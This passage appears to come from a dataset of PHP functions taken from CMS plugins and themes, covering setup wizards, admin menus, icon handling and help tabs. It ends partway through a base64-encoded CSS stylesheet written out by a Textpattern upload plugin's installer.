sprintf(\n '<subitem><a href=\"%s\">%s</a></subitem>'.LF,\n papaya_strings::escapeHTMLChars(\n $this->getLink(array('cmd' => 'restore_meta', 'file_id' => $this->params['file_id']))\n ),\n papaya_strings::escapeHTMLChars(\n $this->_gt('Click here to restore metadata for the file.')\n )\n );\n $result .= '</listitem>'.LF;\n if (isset($extensions) && is_array($extensions) && count($extensions) > 0) {\n if ($pos = strrpos($this->currentFile['file_name'], '.')) {\n $pos = $pos;\n } else {\n $pos = strlen($this->currentFile['file_name']);\n }\n $baseFileName = substr($this->currentFile['file_name'], 0, $pos);\n foreach ($extensions as $extension) {\n $result .= sprintf(\n '<listitem title=\"%s\">'.LF,\n papaya_strings::escapeHTMLChars($extension)\n );\n $result .= sprintf(\n '<subitem><a href=\"%s\">%s %s</a></subitem>'.LF,\n papaya_strings::escapeHTMLChars(\n $this->getLink(\n array(\n 'cmd' => $this->params['cmd'],\n 'confirm' => 1,\n 'file_id' => $this->params['file_id'],\n 'extension' => $extension\n )\n )\n ),\n papaya_strings::escapeHTMLChars($this->_gt('Click here to rename file to')),\n papaya_strings::escapeHTMLChars($baseFileName.'.'.$extension)\n );\n $result .= '</listitem>'.LF;\n }\n }\n $result .= '</items>'.LF;\n $result .= '</listview>'.LF;\n $this->layout->addRight($result);\n }\n }", "public function setup_wizard() {\n\t\t\tif ( empty( $_GET['page'] ) || $this->page_slug !== $_GET['page'] ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tob_end_clean();\n\n\t\t\t$this->step = isset( $_GET['step'] ) ? sanitize_key( $_GET['step'] ) : current( array_keys( $this->steps ) );\n\n\t\t\twp_register_script( 'jquery-blockui', $this->plugin_url . 'js/jquery.blockUI.js', array( 'jquery' ), '2.70', true );\n\t\t\twp_register_script( 'envato-setup', $this->plugin_url . 'js/envato-setup.js', array(\n\t\t\t\t'jquery',\n\t\t\t\t'jquery-blockui',\n\t\t\t), $this->version );\n\t\t\twp_localize_script( 'envato-setup', 'envato_setup_params', array(\n\t\t\t\t'tgm_plugin_nonce' => array(\n\t\t\t\t\t'update' => wp_create_nonce( 'tgmpa-update' ),\n\t\t\t\t\t'install' => wp_create_nonce( 'tgmpa-install' ),\n\t\t\t\t),\n\t\t\t\t'tgm_bulk_url' => admin_url( $this->tgmpa_url ),\n\t\t\t\t'ajaxurl' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t'wpnonce' => wp_create_nonce( 'envato_setup_nonce' ),\n\t\t\t\t'verify_text' => esc_html__( '...verifying', 'dfd-native' ),\n\t\t\t) );\n\n\t\t\t//wp_enqueue_style( 'envato_wizard_admin_styles', $this->plugin_url . '/css/admin.css', array(), $this->version );\n\t\t\twp_enqueue_style( 'envato-setup', $this->plugin_url . 'css/envato-setup.css', array(\n\t\t\t\t'wp-admin',\n\t\t\t\t'dashicons',\n\t\t\t\t'install',\n\t\t\t), $this->version );\n\n\t\t\t//enqueue style for admin notices\n\t\t\twp_enqueue_style( 'wp-admin' );\n\n\t\t\twp_enqueue_media();\n\t\t\twp_enqueue_script( 'media' );\n\n\t\t\tob_start();\n\t\t\t$this->setup_wizard_header();\n\t\t\t$this->setup_wizard_steps();\n\t\t\t$show_content = true;\n\t\t\techo '<div class=\"envato-setup-content\">';\n\t\t\techo '<span class=\"shadow shadow-first\"></span>';\n\t\t\techo '<span class=\"shadow shadow-second\"></span>';\n\t\t\tif ( ! empty( $_REQUEST['save_step'] ) && isset( $this->steps[ $this->step ]['handler'] ) ) {\n\t\t\t\t$show_content = call_user_func( $this->steps[ $this->step ]['handler'] );\n\t\t\t}\n\t\t\tif ( $show_content ) {\n\t\t\t\t$this->setup_wizard_content();\n\t\t\t}\n\t\t\techo '</div>';\n\t\t\t$this->setup_wizard_footer();\n\t\t\texit;\n\t\t}", "function abl_droploader_image_ui($event, $step) {\n $content = '<div class=\"abl-droploader-file-uploader\">\n <a id=\"abl-droploader-open\" class=\"abl-droploader-open txp-button\" href=\"#\" title=\"' . gTxt('abl_droploader_open_title') . '\">' . gTxt('abl_droploader_open') . '</a>\n </div>';\n return $content.n;\n }", "function admin_setup() {\n\t\t//wp_enqueue_media();\n\t\twp_enqueue_style( 'dtbaker-social-icons', plugins_url('webicons.css', __FILE__) );\n\t\twp_enqueue_script( 'dtbaker-social-icons-admin', plugins_url('webicons-admin.js', __FILE__) );\n\t}", "function gsCustomPageExtensions() {\r\n /* Load Langauge Files */\r\n $langDir = dirname(plugin_basename(__FILE__)) . '/lang';\r\n load_plugin_textdomain('custom-page-extensions', false, $langDir, $langDir);\r\n\r\n /* Set the plugin name to use the selected language. */\r\n $this->pluginName = __('Custom Page Extensions', 'custom-page-extensions');\r\n\r\n global $wp_rewrite;\r\n\r\n /* Plugin paths */\r\n $this->pluginPath = WP_PLUGIN_DIR . '/' . basename(dirname(__FILE__));\r\n $this->pluginURL = WP_PLUGIN_URL . '/' . basename(dirname(__FILE__));\r\n\r\n // Get the extension.\r\n $this->load_settings();\r\n\r\n /* Add Options Pages and Links */\r\n add_action('admin_menu', array(&$this, 'admin_menu'));\r\n add_action('admin_init', array(&$this, 'admin_init'));\r\n add_action('update_option_' . $this->optionsName, array(&$this, 'update_option'), 10);\r\n add_action('wp_loaded', array(&$this, 'flush_rules'));\r\n\r\n add_filter('plugin_action_links', array(&$this, \"plugin_action_links\"), 10, 2);\r\n add_filter('user_trailingslashit', array(&$this, 'no_page_slash'), 66, 2);\r\n }", "function wizardFooter() {\n global $LANG;\n $strOutput = '\n\t\t\t</table>\n\t\t\t<div id=\"c-saveButtonPanel\">\n <input type=\"image\" class=\"c-inputButton\" name=\"'.$this->strExtKey.'[savedok]\"'.IconUtility::skinImg($this->objDoc->backPath,'gfx/savedok.gif').BackendUtility::titleAltAttrib($LANG->sL('LLL:EXT:lang/locallang_core.php:rm.saveDoc')).'\" />\n <input type=\"image\" class=\"c-inputButton\" name=\"'.$this->strExtKey.'[saveandclosedok]\"'.IconUtility::skinImg($this->objDoc->backPath,'gfx/saveandclosedok.gif').BackendUtility::titleAltAttrib($LANG->sL('LLL:EXT:lang/locallang_core.php:rm.saveCloseDoc')).'\" />\n <a href=\"#\" onclick=\"'.htmlspecialchars('jumpToUrl(unescape(\\''.rawurlencode($this->arrWizardParameters['returnUrl']).'\\')); return false;').'\"><img class=\"c-inputButton\"'.IconUtility::skinImg($this->objDoc->backPath,'gfx/closedok.gif').BackendUtility::titleAltAttrib($LANG->sL('LLL:EXT:lang/locallang_core.php:rm.closeDoc')).'\" /></a>\n <input type=\"image\" class=\"c-inputButton\" name=\"_refresh\"'.IconUtility::skinImg($this->objDoc->backPath,'gfx/refresh_n.gif').BackendUtility::titleAltAttrib($LANG->getLL('forms_refresh',1)).'\" />\n\t\t\t</div>';\n return $strOutput;\n }", "public function proc($wizardItems = array()) {\n\t\t$wizardItems['plugins_tx_odsajaxmailsubscription_pi1'] = array(\n\t\t\t'icon' => \\TYPO3\\CMS\\Core\\Utility\\ExtensionManagementUtility::extRelPath('ods_ajaxmailsubscription') . 'pi1/ce_wiz.gif',\n\t\t\t'title' => $GLOBALS['LANG']->sL($this->locallangPath . 'pi1_title'),\n\t\t\t'description' => $GLOBALS['LANG']->sL($this->locallangPath . 'pi1_plus_wiz_description'),\n\t\t\t'params' => '&defVals[tt_content][CType]=list&defVals[tt_content][list_type]=ods_ajaxmailsubscription_pi1',\n\t\t\t'tt_content_defValues' => array(\n\t\t\t\t'CType' => 'list',\n\t\t\t),\n\t\t);\n\n\t\treturn $wizardItems;\n\t}", "private function setIconPaths()\n {\n // Directory URL and path\n $plugin = CGIT_SOCIALIZE_PLUGIN;\n $dir = 'icons';\n $url = plugin_dir_url($plugin) . $dir;\n $path = plugin_dir_path($plugin) . $dir;\n\n // Apply filters for customization\n $ext = apply_filters('cgit_socialize_icon_extension', '.svg');\n $url = apply_filters('cgit_socialize_icon_url', $url);\n $path = apply_filters('cgit_socialize_icon_path', $path);\n\n // Make sure directories have trailing slashes\n $url = trailingslashit($url);\n $path = trailingslashit($path);\n\n // Add URLs and paths to each network\n foreach ($this->networks as $key => $value) {\n $this->networks[$key]['icon'] = $url . $key . $ext;\n $this->networks[$key]['icon_path'] = $path . $key . $ext;\n }\n }", "function _delete_site_logo_on_remove_theme_mods()\n {\n }", "protected function collectTcaSpriteIcons() {}", "protected function isWizardDone() {}", "function wpdc_my_add_plugin_admin_page(){\r\n\t\t\t\t\t\t\r\n\t\t$themename = 'Divi';\r\n\r\n\t\tadd_theme_page(\r\n\t\t\t\t\t\t$themename . ' ' . esc_html__( 'Options', $themename ),\r\n\t\t\t\t\t\t$themename . ' ' . esc_html__( 'Child Options', $themename ),\r\n\t\t\t\t\t\t'switch_themes',\r\n\t\t\t\t\t\t'divi_child',\r\n\t\t\t\t\t\t'wpdc_divi_child_options_page'\r\n\t\t\t\t\t);\r\n }", "function plugin_init_satisfactionsmiley() {\n global $PLUGIN_HOOKS, $CFG_GLPI;\n\n $PLUGIN_HOOKS['csrf_compliant']['satisfactionsmiley'] = true;\n $PLUGIN_HOOKS['config_page']['satisfactionsmiley'] = 'front/config.form.php';\n\n\n $Plugin = new Plugin();\n $moduleId = 0;\n\n $debug_mode = false;\n if (isset($_SESSION['glpi_use_mode'])) {\n $debug_mode = ($_SESSION['glpi_use_mode'] == Session::DEBUG_MODE);\n }\n\n if ($Plugin->isActivated('satisfactionsmiley')) { // check if plugin is active\n Plugin::registerClass('PluginSatisfactionsmileyConfig');\n Plugin::registerClass('PluginSatisfactionsmileyTicketsatisfaction',\n array('notificationtemplates_types' => true));\n Plugin::registerClass('PluginSatisfactionsmileyNotificationTargetTicketsatisfaction');\n\n $PLUGIN_HOOKS['item_add']['satisfactionsmiley'] = [\n 'TicketSatisfaction' => 'plugin_satisfactionsmiley_satisfactionInternal',\n ];\n }\n}", "function clean_create_menu() {\n\tadd_menu_page('Clean Theme Settings', 'Clean Settings', 'administrator', __FILE__, 'clean_settings_page',get_template_directory_uri().'/images/icon.jpg');\n\n\t//call register settings function\n\tadd_action( 'admin_init', 'register_mysettings' );\n}", "public function getIcon()\n {\n }", "function import_product_brands_plugin_menu() {\n\n add_menu_page(\"Import Product Brands Plugin\", \"Import Product Brands\",\"manage_options\", \"import_product_brands\", \"import_csv\",plugins_url('/import-product-brands/img/icon.png'));\n}", "protected function fix_switcher_target_js_error() {\r\n\t\tif ( ! \\MyListing\\Apis\\Wp_All_Import\\is_import_screen() ) {\r\n\t\t\treturn;\r\n\t\t} ?>\r\n\t\t<script type=\"text/javascript\">\r\n\t\t\tjQuery('.wpallimport-section.mylisting-addon input.switcher').each( function() {\r\n\t\t\t\tvar label = jQuery(this).siblings('label');\r\n\t\t\t\tif ( label.length ) {\r\n\t\t\t\t\tvar uniqid = ( Date.now() + Math.random() ).toString().replace('.', '');\r\n\t\t\t\t\tjQuery(this).attr('id', 'rand-'+uniqid);\r\n\t\t\t\t\tlabel.attr('for', 'rand-'+uniqid);\r\n\t\t\t\t}\r\n\t\t\t} );\r\n\t\t</script>\r\n\t<?php }", "function remove_plugin_assets() {\n wp_dequeue_style('roots-share-buttons'); // roots-share-buttons/assets/styles/share-buttons.css\n wp_dequeue_script('roots-share-buttons'); //roots-share-buttons/assets/scripts/share-buttons.js\n wp_dequeue_style('wp-biographia-bio'); //wp-biographia/css/wp-biographia-min.css\n}", "function dfcg_plugin_help() {\n\t\n\tglobal $current_screen;\n\t\n\t$sidebar = dfcg_help_sidebar();\n\t\n\t$current_screen->set_help_sidebar( $sidebar );\n\t\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-general',\n\t\t'title' => __( 'General info', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_general'\n\t));\n\t\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-theme',\n\t\t'title' => __( 'Theme integration', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_theme'\n\t));\n\t\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-quick',\n\t\t'title' => __( 'Quick Start', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_quick'\n\t));\n\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-gallery',\n\t\t'title' => __( 'Gallery Method', DFCG_DOMAIN ),\n\t\t'callback' => \"dfcg_help_gallery\"\n\t));\n\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-images',\n\t\t'title' => __( 'Image Management', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_images'\n\t));\n\t\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-desc',\n\t\t'title' => __( 'Descriptions', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_desc'\n\t));\n\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-css',\n\t\t'title' => __( 'Gallery CSS', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_css'\n\t));\n\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-scripts',\n\t\t'title' => __( 'Load Scripts', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_scripts'\n\t));\n\n\t$current_screen->add_help_tab( array(\n\t\t'id' => 'dfcg-help-troubleshooting',\n\t\t'title' => __( 'Troubleshooting', DFCG_DOMAIN ),\n\t\t'callback' => 'dfcg_help_trouble'\n\t));\n}", "public function next() {\n if (JRequest::getString(\"cancontinue\") == \"no\") {\n $this->setRedirect(JURI::base().'index.php?option='.JRequest::getCmd('option').'&view=wizard');\n JError::raiseWarning(413444, \"Fehler: Voraussetzungen werden nicht erfüllt.\");\n \n }\n\n if(JRequest::getString(\"from-step\") == \"2\") {\n $ov = JRequest::getString(\"ov\");\n if ($ov == \"\") { JError::raiseError(56434, \"Kein Organisations-Kürzel\"); }\n switch (JRequest::getString(\"setup\")) {\n case \"hiorgcal\": {\n $this->getModel(\"wizard\")->setHiOrgCalConfig($ov);\n break; \n }\n case \"dp\": {\n $this->getModel(\"wizard\")->installPlugin(); \n $this->getModel(\"wizard\")->setDpCalConfig($ov);\n $this->getModel(\"wizard\")->enablePlugin();\n }\n case \"both\": {\n $this->getModel(\"wizard\")->installPlugin(); \n $this->getModel(\"wizard\")->setDpCalConfig($ov);\n $this->getModel(\"wizard\")->enablePlugin();\n $this->getModel(\"wizard\")->setHiOrgCalConfig($ov);\n break;\n \n }\n default:\n JError::raiseError(453434, \"Daten-Manipulation\"); \n break;\n }\n \n \n }\n if(JRequest::getString(\"from-step\") == \"3\") {\n \n if (JRequest::getString(\"setup\") == \"dp\" ) {\n $this->setRedirect(JURI::base().'index.php');\n $this->getModel(\"wizard\")->removeYourself();\n }\n //$this->setRedirect(JURI::base().'index.php');\n JError::raiseNotice(123, \"HiOrg-Server Integration wurde abgeschlossen. Unbenötigte Pakete und Dateien wurden entfernt.\");\n \n }\n parent::display();\n }", "function fmp_plugin_menu() {\n\tadd_options_page( 'FilemakerPro Importer', 'FilemakerPro Importer', 'manage_options', 'fmp-importer-options', 'fmp_plugin_options');\n}", "function ois_load_widgets() {\r\n register_widget( 'OptinSkin_Widget' );\r\n}", "function dynamik_skin_images_cleanup()\n{\n\t$dynamik_gen_skin_options = get_option( 'dynamik_gen_skin_options' );\n\t$dynamik_gen_active_skin_options = get_option( 'dynamik_gen_' . $dynamik_gen_skin_options['active_skin'] . '_skin' );\n\t$skin_images_list = is_array( $dynamik_gen_active_skin_options['skin_images_list'] ) ? $dynamik_gen_active_skin_options['skin_images_list'] : array();\n\n\t$handle = opendir( dynamik_get_stylesheet_location( 'path' ) . 'images' );\n\twhile( false !== ( $file = readdir( $handle ) ) )\n\t{\n\t\t$ext = strtolower( substr( strrchr( $file, '.' ), 1 ) );\n\t\tif( $ext == 'jpg' || $ext == 'jpeg' || $ext == 'gif' || $ext == 'png' )\n\t\t{\n\t\t\tif( in_array( $file, $skin_images_list ) )\n\t\t\t{\n\t\t\t\tif( file_exists( dynamik_get_stylesheet_location( 'path' ) . 'images' . '/' . $file ) )\n\t\t\t\t\tunlink( dynamik_get_stylesheet_location( 'path' ) . 'images' . '/' . $file );\n\n\t\t\t\tif( file_exists( dynamik_get_stylesheet_location( 'path' ) . 'images' . '/adminthumbnails/' . $file ) )\n\t\t\t\t\tunlink( dynamik_get_stylesheet_location( 'path' ) . 'images' . '/adminthumbnails/' . $file );\n\t\t\t}\n\t\t}\n\t}\n\tclosedir( $handle );\n}", "function remove_admin_logo() {\n $options = get_option('ea_settings');\n if ( isset($options['ea_checkbox_field_1']) ){\n echo '<style> li#wp-admin-bar-wp-logo { display: none; }</style>';\n }\n }", "function wp_super_emoticons_init() {\n\tglobal $wp_super_edit;\n\t\n\t// Deactivate if WP Super Edit is not active & display notice\n\tif ( empty( $wp_super_edit ) || !is_object( $wp_super_edit ) ) \n\t\tadd_action( 'admin_notices', 'wp_super_emoticons_shutdown' );\t\n}", "public function get_default_icon()\n {\n return 'themes/default/images/icons/48x48/menu/_generic_admin/component.png';\n }", "public function get_default_icon()\n {\n return 'themes/default/images/icons/48x48/menu/_generic_admin/component.png';\n }", "public function get_default_icon()\n {\n return 'themes/default/images/icons/48x48/menu/_generic_admin/component.png';\n }", "public function get_default_icon()\n {\n return 'themes/default/images/icons/48x48/menu/_generic_admin/component.png';\n }", "public function get_default_icon()\n {\n return 'themes/default/images/icons/48x48/menu/_generic_admin/component.png';\n }", "public function get_default_icon()\n {\n return 'themes/default/images/icons/48x48/menu/_generic_admin/component.png';\n }", "public function setup_help_tab()\n {\n }", "function add_admin_menu() {\r\n\t\tadd_management_page( __( 'RegenThumbs Stamina', 'regenthumbs-stamina' ), __( 'RegenThumbs Stamina', 'regenthumbs-stamina' ), 'manage_options', 'regenthumbs-stamina', array(&$this, 'regenerate_interface') );\r\n\t}", "function install_theme_information()\n {\n }", "public function dt_icon_list_loadCssAndJs() {\n wp_register_style( 'dt_extend_style', plugins_url('assets/droit-wbpakery-addons.css', __FILE__) );\n // If you need any javascript files on front end, here is how you can load them.\n //wp_enqueue_script( 'droit-wbpakery-addons_js', plugins_url('assets/droit-wbpakery-addons.js', __FILE__), array('jquery') );\n }", "public function enableFixParentPalette()\n {\n if (\\Input::get('bootstrap') === 'parent' && \\Input::get('act') === 'edit') {\n $row = \\ContentModel::findByPk(\\Input::get('id'));\n\n if ($row) {\n $GLOBALS['TL_DCA']['tl_content']['palettes'][$row->type] =\n $GLOBALS['TL_DCA']['tl_content']['palettes']['bootstrap_parent'];\n }\n } elseif (\\Input::get('act') === 'editAll') {\n $wrappers = Bootstrap::getConfigVar('wrappers');\n\n foreach ($wrappers as $wrapper) {\n foreach ($wrapper as $name => $type) {\n if ($name === 'start') {\n continue;\n }\n\n \\MetaPalettes::appendFields('tl_content', $type['name'], 'type', array('bootstrap_parentId'));\n }\n }\n }\n }", "function ks_customize_register($wp_customize) {\n $wp_customize->remove_control('site_icon'); // remove site icon control\n $wp_customize->remove_panel('nav_menus'); // remove menus panel\n}", "function start_plugin_hookup() {\r\n\r\n\tglobal $pagenow;\r\n\r\n\t// anonymous function in a variable\r\n\t$removeme = function() { echo '<div class=\"error\">It\\'s easy to remove me!!</div>'; };\r\n\r\n\tadd_action(\r\n\t\t'admin_notices',\r\n\t\t$removeme,\r\n\t\t10,\r\n\t\t0\r\n\t);\r\n\r\n\tif ( 'index.php' == $pagenow ) {\r\n\r\n\t\tremove_action(\r\n\t\t\t'admin_notices',\r\n\t\t\t_wp_filter_build_unique_id(\r\n\t\t\t\t'admin_notices',\r\n\t\t\t\t$removeme,\r\n\t\t\t\tfalse\r\n\t\t\t)\r\n\t\t);\r\n\r\n\t}\r\n\r\n}", "public function updateHomeIcon()\n {\n if(! array_key_exists( 'home_icon', $this->options['paths'] )) {\n return;\n }\n $target = base_path($this->options['paths']['home_icon']);\n $hook = '<!-- bread_home_icon -->';\n $file = base_path($this->options['paths']['stubs']) . '/views/components/home_icon.blade.php';\n $this->updateFileContent($target, $hook, $file);\n\n //If no home path defined return\n if(! array_key_exists( 'home_icon_css', $this->options['paths'] )) {\n return;\n }\n $target = base_path($this->options['paths']['home_icon_css']);\n $hook = '/* bread_home_icon_css */';\n $file = base_path($this->options['paths']['stubs']) . '/views/components/home_icon_css.blade.php';\n $this->updateFileContent($target, $hook, $file);\n }", "public function init_actions() {\n\t\t\tif ( apply_filters( $this->theme_name . '_enable_setup_wizard', true ) && current_user_can( 'manage_options' ) ) {\n\t\t\t\tadd_action( 'after_switch_theme', array( $this, 'switch_theme' ) );\n\n\t\t\t\tif ( class_exists( 'TGM_Plugin_Activation' ) && isset( $GLOBALS['tgmpa'] ) ) {\n\t\t\t\t\tadd_action( 'init', array( $this, 'get_tgmpa_instanse' ), 30 );\n\t\t\t\t\tadd_action( 'init', array( $this, 'set_tgmpa_url' ), 40 );\n\t\t\t\t}\n\n\t\t\t\tadd_action( 'admin_menu', array( $this, 'admin_menus' ) );\n\t\t\t\tadd_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );\n\t\t\t\tadd_action( 'admin_init', array( $this, 'admin_redirects' ), 30 );\n\t\t\t\tadd_action( 'admin_init', array( $this, 'init_wizard_steps' ), 30 );\n\t\t\t\tadd_action( 'admin_init', array( $this, 'setup_wizard' ), 30 );\n\t\t\t\tadd_filter( 'tgmpa_load', array( $this, 'tgmpa_load' ), 10, 1 );\n\t\t\t\tadd_action( 'wp_ajax_envato_setup_plugins', array( $this, 'ajax_plugins' ) );\n\t\t\t}\n\t\t\tadd_action( 'upgrader_post_install', array( $this, 'upgrader_post_install' ), 10, 2 );\n\t\t}", "function abl_droploader_install($event, $step, $resources=null, $path='') {\n\t\tglobal $prefs;\n\n\t\t$state = 0;\n\t\tif ($resources === null) {\n\t\t\t$path = $prefs['path_to_site'];\n\t\t\t$resources = array();\n\t\t\t$resources['/res/css/abl.droploader-app.css'] = 'Ym9keSB7CglvdmVyZmxvdy14OiBoaWRkZW47CglvdmVyZmxvdy15OiBzY3JvbGw7Cn0KLyogaW1h\nZ2UgbGlzdCAqLwovKiNpbWFnZV9jb250cm9sIC5hYmwtZHJvcGxvYWRlci1vcGVuIHsKCWZsb2F0\nOiByaWdodDsKCW1hcmdpbi1yaWdodDogMWVtOwoJZm9udDogMWVtIFZlcmRhbmEsIEFyaWFsLCBz\nYW5zLXNlcmlmOwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0qLwoKI2FibC1kcm9wbG9hZGVyLWNsb3Nl\nIHsKCWRpc3BsYXk6IGJsb2NrOwoJcG9zaXRpb246IGFic29sdXRlOwoJdG9wOiAyZW07CglyaWdo\ndDogLjVlbTsKCXBhZGRpbmc6IDNweCAxMHB4IDZweCAxMHB4OwoJYm9yZGVyOiAxcHggc29saWQg\nI2NjYzsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKCXZlcnRpY2FsLWFsaWduOiBib3R0b207Cgl0\nZXh0LWFsaWduOiBjZW50ZXI7Cglmb250OiAyZW0gVmVyZGFuYSwgQXJpYWwsIHNhbnMtc2VyaWY7\nCglmb250LXdlaWdodDogYm9sZDsKCWNvbG9yOiAjMjIyOwoJYmFja2dyb3VuZDogI2ZmZjsKCXot\naW5kZXg6IDMzMzM7CgljdXJzb3I6IHBvaW50ZXI7Cn0KI2FibC1kcm9wbG9hZGVyLWNsb3NlOmhv\ndmVyIHsKCWNvbG9yOiAjZjIyOwp9CgojYWJsLWRyb3Bsb2FkZXIgewoJcG9zaXRpb246IGFic29s\ndXRlOwoJdG9wOiAwOwoJbGVmdDogMDsKCXdpZHRoOiAxMDAlOwoJaGVpZ2h0OiAxMDAlOwp9Cgov\nKiAjYWJsLWRyb3Bsb2FkZXIgZm9ybSBpbnB1dCB7ICovCiNhYmwtZHJvcGxvYWRlciBmb3JtIGRp\ndiB7CglkaXNwbGF5OiBub25lOwp9CiNhYmwtZHJvcGxvYWRlciAudXBsb2FkLWluZm8gewoJcG9z\naXRpb246IGFic29sdXRlOwoJdG9wOiAwOwoJbGVmdDogMDsKCXdpZHRoOiAxMDAlOwoJaGVpZ2h0\nOiAxMDAlOwoJdGV4dC1hbGlnbjogY2VudGVyOwoJZm9udC1zaXplOiAxLjVlbTsKCWZvbnQtd2Vp\nZ2h0OiBub3JtYWw7Cgljb2xvcjogIzIyMjsKCWJhY2tncm91bmQ6IHJnYmEoMjU1LCAyNTUsIDI1\nNSwgMC44NSk7Cgl6LWluZGV4OiAzMzMzOwp9CiNhYmwtZHJvcGxvYWRlciAuc2VsZWN0LWZpbGVz\nIHsKCXBvc2l0aW9uOiBhYnNvbHV0ZTsKCXRvcDogMDsKCWxlZnQ6IDA7Cgl3aWR0aDogMTAwJTsK\nCWhlaWdodDogMTAwJTsKCWNvbG9yOiAjNjY2OwoJYmFja2dyb3VuZDogcmdiYSgyNDAsIDI0MCwg\nMjQwLCAwLjc1KTsKCXotaW5kZXg6IDMzMzM7Cn0KI2FibC1kcm9wbG9hZGVyIC5hYmwtZml4ZWQt\ncG9zIHsKCXBvc2l0aW9uOiBmaXhlZDsKfQojYWJsLWRyb3Bsb2FkZXIgLnNlbGVjdC1maWxlcyBw\nIHsKCWRpc3BsYXk6IGJsb2NrOwoJcG9zaXRpb246IGFic29sdXRlOwoJdG9wOiA1MCU7CglsZWZ0\nOiAwOwoJd2lkdGg6IDEwMCU7CgltYXJnaW46IGF1dG8gMDsKCXRleHQtYWxpZ246IGNlbnRlcjsK\nCWZvbnQtc2l6ZTogM2VtOwoJZm9udC13ZWlnaHQ6IG5vcm1hbDsKCXZlcnRpY2FsLWFsaWduOiBt\naWRkbGU7Cn0KI2FibC1kcm9wbG9hZGVyLWltYWdlLWNhdC1zZWwgewoJZGlzcGxheTogYmxvY2s7\nCglwb3NpdGlvbjogYWJzb2x1dGU7Cgl0b3A6IDhlbTsKCXJpZ2h0OiAxZW07CgliYWNrZ3JvdW5k\nLWNvbG9yOiAjY2NjOwoJcGFkZGluZzogMWVtOwp9CiNhYmwtZHJvcGxvYWRlci1pbWFnZS1jYXQt\nc2VsIHNlbGVjdCB7CgltYXJnaW4tdG9wOiAwLjVlbTsKfQojYWJsLWRyb3Bsb2FkZXIgLmltZy1w\ncmV2aWV3IHsKCXBvc2l0aW9uOiByZWxhdGl2ZTsKCXRvcDogMDsKCWxlZnQ6IDA7Cgl3aWR0aDog\nMTAwJTsKCWhlaWdodDogMjQwcHg7CgltYXJnaW46IDMwcHggYXV0bzsKCW92ZXJmbG93OiBoaWRk\nZW47CglsaXN0LXN0eWxlLXR5cGU6IG5vbmU7CglwYWRkaW5nOiAwOwoJdGV4dC1hbGlnbjogY2Vu\ndGVyOwp9CiNhYmwtZHJvcGxvYWRlciAuaW1hZ2UtYm94IHsKCWhlaWdodDogMTg2cHg7Cgl2ZXJ0\naWNhbC1hbGlnbjogbWlkZGxlOwoJbGluZS1oZWlnaHQ6IDE4MHB4Owp9CiNhYmwtZHJvcGxvYWRl\nciAuaW1hZ2UtYm94IGltZyB7CgltYXgtd2lkdGg6IDI0MHB4OwoJbWF4LWhlaWdodDogMTgwcHg7\nCglib3JkZXI6IDNweCBzb2xpZCAjZmZmOwoJLW1vei1ib3gtc2hhZG93OiAwIDAgMnB4ICMwMDA7\nCgktd2Via2l0LWJveC1zaGFkb3c6IDAgMCAycHggIzAwMDsKCWJveC1zaGFkb3c6IDAgMCAycHgg\nIzAwMDsKfQojYWJsLWRyb3Bsb2FkZXIgLmltZy1wcmV2aWV3IC5wcmV2aWV3IHsKCXBvc2l0aW9u\nOiByZWxhdGl2ZTsKCXdpZHRoOiA1MDBweDsKCWhlaWdodDogMjA2cHg7CgltYXJnaW46IDEwcHgg\nYXV0bzsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQojYWJsLWRyb3Bsb2FkZXIgLmltZy1wcmV2aWV3\nIC5wcmV2aWV3LmRvbmUgewoJb3ZlcmZsb3c6IGhpZGRlbjsKCWhlaWdodDogMDsKCXRyYW5zaXRp\nb246IGhlaWdodCAwLjc1czsKCS1tb3otdHJhbnNpdGlvbjogaGVpZ2h0IDAuNzVzOwoJLXdlYmtp\ndC10cmFuc2l0aW9uOiBoZWlnaHQgMC43NXM7Cgktby10cmFuc2l0aW9uOiBoZWlnaHQgMC43NXM7\nCn0KLyogcGVyIGltYWdlIHByb2dyZXNzICovCiNhYmwtZHJvcGxvYWRlciAuaW1hZ2UtcHJvZ3Jl\nc3MgewoJcG9zaXRpb246IHJlbGF0aXZlOwoJaGVpZ2h0OiAxMnB4OwoJd2lkdGg6IDI0NnB4OwoJ\nbWFyZ2luOiA1cHggYXV0bzsKCXZlcnRpY2FsLWFsaWduOiBtaWRkbGU7Cn0KI2FibC1kcm9wbG9h\nZGVyIC5pbWFnZS1wcm9ncmVzcyAucHJvZ3Jlc3MgewoJcG9zaXRpb246IGFic29sdXRlOwoJbGVm\ndDogMDsKCWhlaWdodDogMTAwJTsKCXdpZHRoOiAwOwoJYmFja2dyb3VuZC1jb2xvcjogIzI1ODZk\nMDsKfQoKLyogb3ZlcmFsbCBwcm9ncmVzcyAqLwojYWJsLWRyb3Bsb2FkZXIgLmZpbGVzLXByb2dy\nZXNzIHsKCXBvc2l0aW9uOiByZWxhdGl2ZTsKCXRvcDogMzUwcHg7CgloZWlnaHQ6IDI0cHg7Cgl3\naWR0aDogNTAwcHg7CgltYXJnaW46IDEwcHggYXV0bzsKfQojYWJsLWRyb3Bsb2FkZXIgLmZpbGVz\nLXByb2dyZXNzIC5wcm9ncmVzcyB7Cglwb3NpdGlvbjogYWJzb2x1dGU7CglsZWZ0OiAwOwoJaGVp\nZ2h0OiAxMDAlOwoJd2lkdGg6IDA7CgliYWNrZ3JvdW5kLWNvbG9yOiAjMjU4